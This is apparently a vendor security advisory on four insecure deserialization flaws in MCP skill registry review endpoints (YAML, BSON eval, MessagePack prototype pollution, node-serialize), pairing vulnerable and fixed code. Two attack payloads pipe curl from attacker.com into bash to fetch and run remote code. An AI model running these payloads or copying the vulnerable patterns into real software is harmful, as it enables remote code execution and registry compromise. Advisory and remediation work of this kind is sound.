← Blog

Claude MCP skill insecure deserialization — skill review and approval workflow queue endpoints (SA-SKL-DESER56)

SA-SKL-DESER56 identifies four insecure deserialization vulnerabilities in MCP skill registry review and approval workflow queue endpoints. Using yaml.load() with DEFAULT_FULL_SCHEMA on Redis-cached workflow configuration achieves remote code execution every time a skill approval event fires, triggered by any registry reviewer; a BSON Code type stored at the approvalConditionFn field in MongoDB triggers eval() during the approval gate check that runs before every skill version promotion; MessagePack deserialization of Redis-queued review events allows __proto__.skipReviewAuth:true prototype pollution that disables authentication for all subsequent review API requests in the same Node.js worker; and node-serialize deserialization of review result aggregation data enables an IIFE gadget that achieves RCE at aggregation time, reachable from any authenticated user viewing skill review dashboards.

SA-SKL-DESER56 findings at a glance
CRITICALDESER56-001 — Review workflow config reads from Redis via yaml.load() DEFAULT_FULL_SCHEMA — !!js/function in workflowConfig.onApproval achieves RCE at every skill approval event triggered by any registry reviewer
CRITICALDESER56-002 — Approval model reads from MongoDB as BSON — BSON Code type at approvalConditionFn field triggers eval() during the approval gate check before every skill version promotion
CRITICALDESER56-003 — Review event queue stored in Redis as MessagePack — __proto__.skipReviewAuth:true pollutes Object.prototype, disabling authentication for all subsequent review API requests in the same worker
CRITICALDESER56-004 — Review result aggregation reads via node-serialize — IIFE gadget achieves RCE at aggregation time reachable from any user viewing skill review dashboards

DESER56-001 — YAML unsafe load on Redis-cached workflow config enables RCE at every approval event

The review workflow processor reads per-skill approval workflow configuration from Redis using yaml.load(config, { schema: yaml.DEFAULT_FULL_SCHEMA }). The DEFAULT_FULL_SCHEMA includes the !!js/function tag, which causes the YAML parser to construct a live JavaScript function from the tag's string value and execute it when the resulting object's apply() method is called. Because the workflow processor calls workflowConfig.onApproval(context) as a standard method invocation, any attacker who can write to the Redis key that holds the workflow configuration can embed a !!js/function value at onApproval and trigger arbitrary code execution every time a skill approval event fires.

The Redis write path is the critical prerequisite. If the registry caches workflow configurations written from admin-supplied YAML input, an attacker with the ability to submit a skill for review can craft a workflow configuration containing the malicious function and arrange for it to be cached. Alternatively, if the Redis instance is accessible from other microservices in the deployment cluster with weaker input validation, lateral movement from a less-privileged service provides the write path. Once the malicious config is in Redis, every approval event from every reviewer triggers the payload — the attacker need not remain active after the initial injection. This persistence property makes DESER56-001 a particularly severe finding in environments where the approval worker runs with registry-wide service account privileges.

Vulnerable
// DESER56-001 — VULNERABLE
async function processApprovalEvent(skillId) {
  const rawConfig = await redis.get(`workflow:config:${skillId}`);
  // VULNERABLE: DEFAULT_FULL_SCHEMA supports !!js/function — arbitrary code execution
  const workflowConfig = yaml.load(rawConfig, {
    schema: yaml.DEFAULT_FULL_SCHEMA,
  });
  // Attacker-controlled function executes here on every approval event
  await workflowConfig.onApproval({ skillId, timestamp: Date.now() });
  await db.skills.update({ status: 'approved' }, { where: { id: skillId } });
}

Attack payload — DESER56-001: The attacker writes the following YAML to the workflow config Redis key. Every subsequent approval event for the target skill executes the embedded function in the approval worker process.

// DESER56-001 — ATTACK PAYLOAD (stored in Redis)
// redis.set('workflow:config:target-skill-id', payload)
const maliciousYaml = `
onApproval: !!js/function >
  function(ctx) {
    require('child_process').execSync(
      'curl -s https://attacker.com/shell | bash',
      { stdio: 'inherit' }
    );
  }
scheduledReviewAt: 2026-12-01T00:00:00Z
reviewers: [admin@example.com]
`;
Fixed
// DESER56-001 — FIXED
async function processApprovalEvent(skillId) {
  const rawConfig = await redis.get(`workflow:config:${skillId}`);
  // FIXED: JSON only — no YAML, no function execution, no prototype pollution
  let workflowConfig;
  try {
    workflowConfig = JSON.parse(rawConfig);
  } catch {
    throw new Error(`Invalid workflow config for skill ${skillId}: not valid JSON`);
  }
  // FIXED: config is a plain data object; behavior driven by code, not stored functions
  const handler = workflowHandlers[workflowConfig.onApprovalAction];
  if (!handler) throw new Error(`Unknown approval action: ${workflowConfig.onApprovalAction}`);
  await handler({ skillId, config: workflowConfig, timestamp: Date.now() });
  await db.skills.update({ status: 'approved' }, { where: { id: skillId } });
}

DESER56-002 — BSON Code type in MongoDB approval model triggers eval() during gate checks

The approval model stores per-skill approval gate conditions in MongoDB as a document that includes an approvalConditionFn field. When the registry reads this document and the native MongoDB Node.js driver encounters a field serialized as BSON.Code, it deserializes it as a JavaScript object with a code string property. The approval gate evaluator then calls eval(doc.approvalConditionFn.code) to construct a function dynamically, enabling configurable approval logic per skill. This pattern allows any attacker who can write a MongoDB document containing a BSON.Code value at the approvalConditionFn field to execute arbitrary JavaScript in the registry worker process context at every skill version promotion.

The write path in most deployments is through the skill submission flow: if the submission endpoint accepts skill metadata as a JSON body and stores it without stripping non-primitive BSON-encodable types, an attacker who submits a skill with a crafted approvalConditionFn field may be able to store the BSON.Code value directly. The impact is registry-wide: the approval gate runs for every skill version promotion, so the malicious eval executes not just for the attacker's own skill but every time any skill goes through the approval process while the document remains in the database. At registry-admin privilege levels, the eval context has access to database credentials, cloud provider credentials mounted via service account, and the full Node.js module system.

Vulnerable
// DESER56-002 — VULNERABLE
async function checkApprovalGate(skillId, version) {
  const approval = await db.collection('approvals').findOne({ skillId });
  if (!approval) return true;  // No gate = auto-approve

  if (approval.approvalConditionFn) {
    // VULNERABLE: eval() on BSON Code type stored in MongoDB
    const conditionFn = eval(`(${approval.approvalConditionFn.code})`);
    const passed = await conditionFn({ skillId, version });
    if (!passed) throw new Error('Approval gate condition not met');
  }
  return true;
}
Fixed
// DESER56-002 — FIXED
// Approval conditions are expressed as a JSON policy object, not executable code
const APPROVAL_CONDITION_EVALUATORS = {
  min_review_score: ({ version }, { threshold }) => version.reviewScore >= threshold,
  requires_security_sign_off: ({ version }) => version.securitySignedOffAt !== null,
  semver_bump_type: ({ version }, { allowedTypes }) => allowedTypes.includes(version.bumpType),
};

async function checkApprovalGate(skillId, version) {
  const approval = await db.collection('approvals').findOne(
    { skillId },
    // FIXED: projection excludes any field that could store BSON Code
    { projection: { approvalConditions: 1 } }
  );
  if (!approval) return true;

  for (const condition of (approval.approvalConditions ?? [])) {
    const evaluator = APPROVAL_CONDITION_EVALUATORS[condition.type];
    if (!evaluator) throw new Error(`Unknown condition type: ${condition.type}`);
    // FIXED: evaluator is a static function in this module — no eval, no dynamic code
    const passed = evaluator({ skillId, version }, condition.params);
    if (!passed) throw new Error(`Approval gate failed: ${condition.type}`);
  }
  return true;
}

DESER56-003 — MessagePack deserialization enables prototype pollution disabling review authentication

The review event queue stores events in Redis serialized as MessagePack. The queue consumer deserializes each event using msgpack.decode(buffer) and merges the decoded object into the request context using a shallow spread: const ctx = { ...baseCtx, ...decodedEvent }. Because the MessagePack decoder does not filter map keys, an event that contains a __proto__ map key causes Object.prototype pollution when the spread operation assigns properties from the decoded map.

The specific exploitation path targets the skipReviewAuth property that the review middleware checks to allow service-to-service calls that bypass interactive reviewer authentication. If an attacker stores an event in the queue with __proto__.skipReviewAuth: true, every subsequent object created in the same V8 isolate will inherit skipReviewAuth: true from Object.prototype, causing the review middleware's if (ctx.skipReviewAuth) check to return true for all requests. Because Node.js worker processes are long-lived and share a single V8 heap, the pollution persists until the worker is restarted. All review API requests processed by the affected worker after the poisoned event is consumed are authenticated without reviewer credentials, allowing any caller to approve or reject any skill version.

Vulnerable
// DESER56-003 — VULNERABLE
async function consumeReviewEvents() {
  while (true) {
    const buffer = await redis.brpop('review:events', 0);
    // VULNERABLE: msgpack.decode can produce objects with __proto__ keys
    const decodedEvent = msgpack.decode(buffer[1]);
    // VULNERABLE: spread of decoded object — __proto__ key pollutes Object.prototype
    const ctx = { ...baseRequestCtx, ...decodedEvent };
    await reviewMiddleware(ctx);
    await processReviewEvent(ctx);
  }
}

function reviewMiddleware(ctx) {
  // VULNERABLE: after prototype pollution, this is always true for all objects
  if (ctx.skipReviewAuth) return;
  verifyReviewerCredentials(ctx);
}
Fixed
// DESER56-003 — FIXED
async function consumeReviewEvents() {
  while (true) {
    const buffer = await redis.brpop('review:events', 0);
    let decodedEvent;
    try {
      decodedEvent = msgpack.decode(buffer[1]);
    } catch {
      await deadLetterQueue.enqueue(buffer[1]);
      continue;
    }
    // FIXED: validate against strict schema before use — no raw spread
    const parsed = ReviewEventSchema.safeParse(decodedEvent);
    if (!parsed.success) {
      await deadLetterQueue.enqueue({ raw: buffer[1], error: parsed.error });
      continue;
    }
    // FIXED: build context from explicit schema fields only — no prototype-polluting spread
    const ctx = {
      eventId: parsed.data.eventId,
      skillId: parsed.data.skillId,
      reviewerId: parsed.data.reviewerId,
      action: parsed.data.action,
      timestamp: parsed.data.timestamp,
      // skipReviewAuth is never a valid schema field
    };
    await reviewMiddleware(ctx);
    await processReviewEvent(ctx);
  }
}

DESER56-004 — node-serialize IIFE gadget in review result aggregation achieves RCE from dashboards

The review result aggregation service reads cached aggregation data from Redis using nodeSerialize.unserialize(). The node-serialize package deserializes objects that contain string values wrapped in IIFE syntax ((function(){...})()) by calling eval() on the string, allowing an attacker who can write to the aggregation cache key to achieve RCE when any user loads the skill review dashboard that triggers the aggregation read.

The dashboard trigger makes DESER56-004 unique among the DESER56 chain in that it does not require any privileged reviewer action to fire — any authenticated user with dashboard access causes the aggregation read to execute, and therefore any such user can trigger the malicious payload if the aggregation cache is poisoned. The aggregation cache is shared across all skills visible to a given reviewer tier, so a single cache write poisons the aggregation result for all skills in that tier simultaneously. Combined with the fact that the registry worker process typically runs with service-account credentials that have database read-write access, the IIFE gadget provides a direct path from review dashboard access to full registry database compromise without any additional privilege escalation step.

Vulnerable
// DESER56-004 — VULNERABLE
const nodeSerialize = require('node-serialize');

async function getReviewAggregation(tierId) {
  const cached = await redis.get(`review:aggregation:${tierId}`);
  if (cached) {
    // VULNERABLE: node-serialize evaluates IIFE syntax — arbitrary code execution
    return nodeSerialize.unserialize(cached);
  }
  const result = await db.computeReviewAggregation(tierId);
  await redis.setex(`review:aggregation:${tierId}`, 300, nodeSerialize.serialize(result));
  return result;
}

Attack payload — DESER56-004: The attacker writes the following serialized payload to the aggregation Redis key. Every user who loads the review dashboard for the affected tier triggers the IIFE and executes the payload in the aggregation worker.

// DESER56-004 — ATTACK PAYLOAD (stored in Redis aggregation cache key)
// The IIFE inside the serialized string executes on node-serialize.unserialize()
const maliciousPayload = JSON.stringify({
  totalReviews: "_$$ND_FUNC$$_function(){require('child_process').execSync('curl -s https://attacker.com/rce|bash')}()",
  approvedCount: 42,
  pendingCount: 7,
});
Fixed
// DESER56-004 — FIXED
// Never use node-serialize for untrusted or externally-writable data
async function getReviewAggregation(tierId) {
  const cached = await redis.get(`review:aggregation:${tierId}`);
  if (cached) {
    let parsed;
    try {
      // FIXED: JSON.parse only — no code execution, no IIFE gadget
      parsed = JSON.parse(cached);
    } catch {
      await redis.del(`review:aggregation:${tierId}`);
      parsed = null;
    }
    if (parsed) {
      // FIXED: validate schema before returning to caller
      const validated = ReviewAggregationSchema.safeParse(parsed);
      if (validated.success) return validated.data;
    }
  }
  const result = await db.computeReviewAggregation(tierId);
  // FIXED: store as plain JSON
  await redis.setex(`review:aggregation:${tierId}`, 300, JSON.stringify(result));
  return result;
}

SkillAudit detection: The scanner identifies DESER56 patterns using four AST query classes: yaml.load() calls with DEFAULT_FULL_SCHEMA or FAILSAFE_SCHEMA schemas on Redis-sourced strings; eval() calls within approval gate functions receiving MongoDB document fields; msgpack.decode() results spread directly into context objects without schema validation; and nodeSerialize.unserialize() calls on Redis-sourced data. Submit your MCP skill registry codebase to SkillAudit for a full audit report.

Related: SA-SKL-DESER55 — Insecure deserialization in dependency resolution endpoints • All advisories